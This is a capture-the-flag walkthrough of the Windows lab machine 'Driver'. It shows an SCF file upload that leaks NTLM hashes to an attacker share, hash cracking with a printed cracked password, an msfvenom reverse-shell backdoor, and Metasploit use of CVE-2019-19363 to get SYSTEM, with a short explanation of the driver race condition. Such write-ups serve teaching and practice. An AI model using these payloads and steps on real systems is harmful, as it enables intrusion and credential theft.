Driver

Box Info

About

Driver is an easy Windows machine that focuses on printer exploitation. Enumeration of the machine reveals that a web server is listening on port 80, along with SMB on port 445 and WinRM on port 5985. Navigation to the website reveals that it’s protected using basic HTTP authentication. While trying common credentials the admin:admin credential is accepted and we are able to visit the webpage. The webpage provides a feature to upload printer firmwares on an SMB share for a remote team to test and verify. Uploading a Shell Command File that contains a command to fetch a remote file from our local machine, leads to the NTLM hash of the user tony relayed back to us. Cracking the captured hash to retrieve a plaintext password we are able login as tony, using WinRM. Then, switching over to a meterpreter session it is discovered that the machine is vulnerable to a local privilege exploit that abuses a specific printer driver that is present on the remote machine. Using the exploit we can get a session as NT AUTHORITY\SYSTEM.

Recon

Initial Scanning

nmap show some port and it’s a Windows machine.

nmap -vv -P -T5 -sS <Target's IP> --min-rate=500
Warning: The -P option is deprecated. Please use -PE
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-01 18:41 +0800
Initiating Ping Scan at 18:41
Scanning <Target's IP> [1 port]
Completed Ping Scan at 18:41, 0.11s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:41
Scanning driver.htb (<Target's IP>) [1000 ports]
Discovered open port 80/tcp on <Target's IP>
Discovered open port 135/tcp on <Target's IP>
Discovered open port 445/tcp on <Target's IP>
Discovered open port 5985/tcp on <Target's IP>
Completed SYN Stealth Scan at 18:41, 4.30s elapsed (1000 total ports)
Nmap scan report for driver.htb (<Target's IP>)
Host is up, received echo-reply ttl 127 (0.10s latency).
Scanned at 2026-06-01 18:41:28 CST for 5s
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE      REASON
80/tcp   open  http         syn-ack ttl 127
135/tcp  open  msrpc        syn-ack ttl 127
445/tcp  open  microsoft-ds syn-ack ttl 127
5985/tcp open  wsman        syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.51 seconds
           Raw packets sent: 1999 (87.940KB) | Rcvd: 7 (292B)

Their is a HTTP web interface on 80 port. So I decide to check it first. As usual I guess admin:admin and got a jackpot.

Initial Credentials

The only thing we can access on this site is Firmware Updaters.

I didn’t notice the description told that the file will upload to their file share, so I tried upload a PHP shell at first. Even that is a wrong move, I still find out the upload didn’t block anything (file extension, file header, etc ..)

The second move I made is trying to search a printer vuln firmware to upload but their is no result. Then I finally see the file share part :( The testing team will test manually, so we can get the tester’s credential. I decide to upload a SCF (Shell Command File) to get the credential. First need to run a responder listen instance.

sudo responder -v -I <Attacker Network Interface>

Then upload the SCF file.

[Shell]
Command=2
IconFile=\\<Attacker's IP>\share\<filename>.ico
[Taskbar]
Command=ToggleDesktop

Get the NTLM hash of Tony.

Use hashcat and rockyou.txt to crack the NTLM hash to get the first credential, which lead us to the user.txt.

hashcat -m 5600 -a 0 -w 3 hash.txt  /usr/share/rockyou.txt --show
TONY::DRIVER:41eac4ff51f27f5f:eb0982b89ffdcb18b7d01c8104a3504c:010100000000000080d9a436fff1dc0147ecf937250d964b0000000002000800320033004d00550001001e00570049004e002d004a0048004d004d00310034005500320058005800590004003400570049004e002d004a0048004d004d0031003400550032005800580059002e00320033004d0055002e004c004f00430041004c0003001400320033004d0055002e004c004f00430041004c0005001400320033004d0055002e004c004f00430041004c000700080080d9a436fff1dc010600040002000000080030003000000000000000000000000020000088b9d1a5470a92c5f517ee02bc8b7220ee8eacbf071bbee310bf1eb06b4e3e9e0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0039003300000000000000000000000000:liltony

Privilege Escalation

Upload the winPEAS by evil-winrm and run the script, I found a job.bat under C:\Users\tony\appdata\local\job.

Although I have full privileges, I cannot effectively use this file to escalate privileges, because there is no execution schedule for high-privilege users. So I need to find another way. Then I found a console history file in C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt.

And here is the result.

cat C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'

ping 1.1.1.1
ping 1.1.1.1

Their is a specific printer models in the payload, I search the printer model looking for a CVE and found the CVE-2019-19363. This CVE need to have full control of c:\ProgramData\RICOH_DRV and all DLL file in c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_common\dlz.

The (F) meaning full access, which mean we can use the exploit to make Privilege Escalation. We can use metasploit to take the NT AUTHORITY\SYSTEM credential easily. First make a backdoor for metasploit.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Attacker's IP> LPORT=<Attacker's Port> -f exe -o backdoor.exe

Then upload it to the target machine, run the handler and the backdoor.

msfconsole
msf exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST <Attacker's IP>
LHOST => <Attacker's IP>
msf exploit(multi/handler) > set LPORT <Attacker's Port>
LPORT => <Attacker's Port>
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on <Attacker's IP>:<Attacker's Port>
[*] Sending stage (248902 bytes) to <Target's IP>
[*] Meterpreter session 1 opened (<Attacker's IP>:<Attacker's Port> -> <Target's IP>:49471) at 2026-06-02 16:49:43 +0800

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) >

Put the handler to the background and run the CVE exploit.

msf exploit(multi/handler) > use windows/local/ricoh_driver_privesc
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/ricoh_driver_privesc) > set SESSION 1
SESSION => 1
msf exploit(windows/local/ricoh_driver_privesc) > set LHOST <Attacker's IP>
LHOST => <Attacker's IP>
msf exploit(windows/local/ricoh_driver_privesc) > set LPORT <Attacker's Port>
LPORT => <Attacker's Port>
msf exploit(windows/local/ricoh_driver_privesc) > run
[*] Started reverse TCP handler on <Attacker's IP>:<Attacker's Port>
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Ricoh driver directory has full permissions
[*] Adding printer vLoVS...
[*] Sending stage (248902 bytes) to <Target's IP>
[+] Deleted C:\Users\tony\AppData\Local\Temp\gyOxxh.bat
[*] <Target's IP> - Meterpreter session 1 closed.  Reason: Died
[+] Deleted C:\Users\tony\AppData\Local\Temp\headerfooter.dll
[*] Meterpreter session 2 opened (<Attacker's IP>:<Attacker's Port> -> <Target's IP>:49472) at 2026-06-02 16:53:26 +0800
[*] Deleting printer vLoVS
[-] run: Interrupted
msf exploit(windows/local/ricoh_driver_privesc) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > shell
Process 600 created.
Channel 2 created.
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Then we can get the root flag.

CVE-2019-19363 — How it works

Vulnerable component: Ricoh printer driver installs DLLs to C:\ProgramData\RICOH_DRV...\dlz\ with Everyone:Full Control permissions.

What happens when printer is added:

1. User calls “add printer” with Ricoh driver
2. Windows Spooler spawns PrintIsolationHost.exe (runs as SYSTEM)
3. PrintIsolationHost.exe writes legitimate DLLs to dlz folder
4. PrintIsolationHost.exe loads those DLLs from same folder

The bug: Steps 3 and 4 are not atomic. Gap between write and load = race window.

Exploit:

1. Loop continuously copying malicious DLL over headerfooter.dll
2. Trigger printer add (via prnmngr.vbs or printui)
3. PrintIsolationHost.exe writes legit DLL → your loop overwrites it → PrintIsolationHost.exe loads your DLL
4. Your code runs as NT AUTHORITY\SYSTEM

I tried to write a PoC script, but it didn’t work, hate writing race condition PoC :(